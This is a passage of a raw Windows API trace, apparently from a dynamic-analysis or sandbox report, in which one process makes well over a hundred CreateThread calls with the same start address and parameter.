[0226.315] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xf00) returned 0x2a8 [0226.316] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xf04) returned 0x2ac [0226.316] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xf08) returned 0x2b0 [0226.316] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xf0c) returned 0x2b4 [0226.317] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xf10) returned 0x2b8 [0226.317] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xf14) returned 0x2bc [0226.318] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xf18) returned 0x2c0 [0226.318] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xf1c) returned 0x2c4 [0226.319] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xf20) returned 0x2c8 [0226.319] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xf24) returned 0x2cc [0226.319] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xf28) returned 0x2d0 [0226.320] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xf2c) returned 0x2d4 [0226.320] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xf30) returned 0x2d8 [0226.321] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xf34) returned 0x2dc [0226.424] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xf88) returned 0x2e0 [0226.425] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xf8c) returned 0x2e4 [0226.425] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xf90) returned 0x2e8 [0226.425] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xf94) returned 0x2ec [0226.426] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xf98) returned 0x2f0 [0226.426] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xf9c) returned 0x2f4 [0226.427] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xfa0) returned 0x2f8 [0226.427] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xfa4) returned 0x2fc [0226.428] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xfa8) returned 0x300 [0226.428] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xfac) returned 0x304 [0226.428] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xfb0) returned 0x308 [0226.428] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xfb4) returned 0x30c [0226.429] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xfb8) returned 0x310 [0226.429] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xfbc) returned 0x314 [0226.430] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xfc0) returned 0x318 [0226.430] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xfc4) returned 0x31c [0226.431] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xfc8) returned 0x320 [0226.431] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xfcc) returned 0x324 [0226.431] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xfd0) returned 0x328 [0226.432] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xfd4) returned 0x32c [0226.536] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x5b8) returned 0x330 [0226.536] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x5c0) returned 0x334 [0226.537] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x5c4) returned 0x338 [0226.537] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x5a8) returned 0x33c [0226.538] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x598) returned 0x340 [0226.538] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x59c) returned 0x344 [0226.538] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x470) returned 0x348 [0226.539] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x480) returned 0x34c [0226.539] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x488) returned 0x350 [0226.540] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x444) returned 0x354 [0226.540] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x46c) returned 0x358 [0226.540] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x370) returned 0x35c [0226.541] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x380) returned 0x360 [0226.541] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x394) returned 0x364 [0226.542] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x448) returned 0x368 [0226.542] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x478) returned 0x36c [0226.542] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x5a0) returned 0x370 [0226.543] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x5b4) returned 0x374 [0226.543] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x5b0) returned 0x378 [0226.543] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xca8) returned 0x37c [0226.657] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x904) returned 0x380 [0226.658] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x8f0) returned 0x384 [0226.658] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xaf8) returned 0x388 [0226.658] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xcb4) returned 0x38c [0226.659] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xc74) returned 0x390 [0226.659] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xcac) returned 0x394 [0226.660] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xcb8) returned 0x398 [0226.660] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xcb0) returned 0x39c [0226.661] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xce0) returned 0x3a0 [0226.661] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xcc4) returned 0x3a4 [0226.661] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xc80) returned 0x3a8 [0226.662] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xc70) returned 0x3ac [0226.662] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xd8c) returned 0x3b0 [0226.662] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xd88) returned 0x3b4 [0226.663] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xd98) returned 0x3b8 [0226.663] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xd80) returned 0x3bc [0226.663] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xd90) returned 0x3c0 [0226.664] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xd94) returned 0x3c4 [0226.664] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xd9c) returned 0x3c8 [0226.665] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xd84) returned 0x3cc [0226.786] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xbf8) returned 0x3d0 [0226.786] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x8a4) returned 0x3d4 [0226.787] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xcf4) returned 0x3d8 [0226.787] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xcfc) returned 0x3dc [0226.788] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xd00) returned 0x3e0 [0226.788] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xd0c) returned 0x3e4 [0226.788] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xd10) returned 0x3e8 [0226.789] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xd08) returned 0x3ec [0226.789] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xcf8) returned 0x3f0 [0226.789] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xde0) returned 0x3f4 [0226.790] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xddc) returned 0x3f8 [0226.790] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xcf0) returned 0x3fc [0226.791] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1004) returned 0x404 [0226.791] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1008) returned 0x408 [0226.791] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x100c) returned 0x40c [0226.792] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1010) returned 0x410 [0226.792] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1014) returned 0x414 [0226.793] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1018) returned 0x418 [0226.793] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x101c) returned 0x41c [0226.793] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1020) returned 0x420 [0226.915] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1074) returned 0x424 [0226.915] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1078) returned 0x428 [0226.915] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x107c) returned 0x42c [0226.916] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1080) returned 0x430 [0226.916] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1084) returned 0x434 [0226.917] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1088) returned 0x438 [0226.917] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x108c) returned 0x43c [0226.917] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1090) returned 0x440 [0226.918] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1094) returned 0x444 [0226.918] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1098) returned 0x448 [0226.919] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x109c) returned 0x44c [0226.919] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x10a0) returned 0x450 [0226.920] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x10a4) returned 0x454 [0226.921] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x10a8) returned 0x458 [0226.921] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x10ac) returned 0x45c [0226.921] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x10b0) returned 0x460 [0226.922] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x10b4) returned 0x464 [0226.922] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x10b8) returned 0x468 [0226.923] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x10bc) returned 0x46c [0226.923] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x10c0) returned 0x470 [0227.099] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1114) returned 0x474 [0227.099] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1118) returned 0x478 [0227.100] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x111c) returned 0x47c [0227.100] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1120) returned 0x480 [0227.101] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1124) returned 0x484 [0227.101] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1128) returned 0x488 [0227.101] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x112c) returned 0x48c [0227.102] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1130) returned 